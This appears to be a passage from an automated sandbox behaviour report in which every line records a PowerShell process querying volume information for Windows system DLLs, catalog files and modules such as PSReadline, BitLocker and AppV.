      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
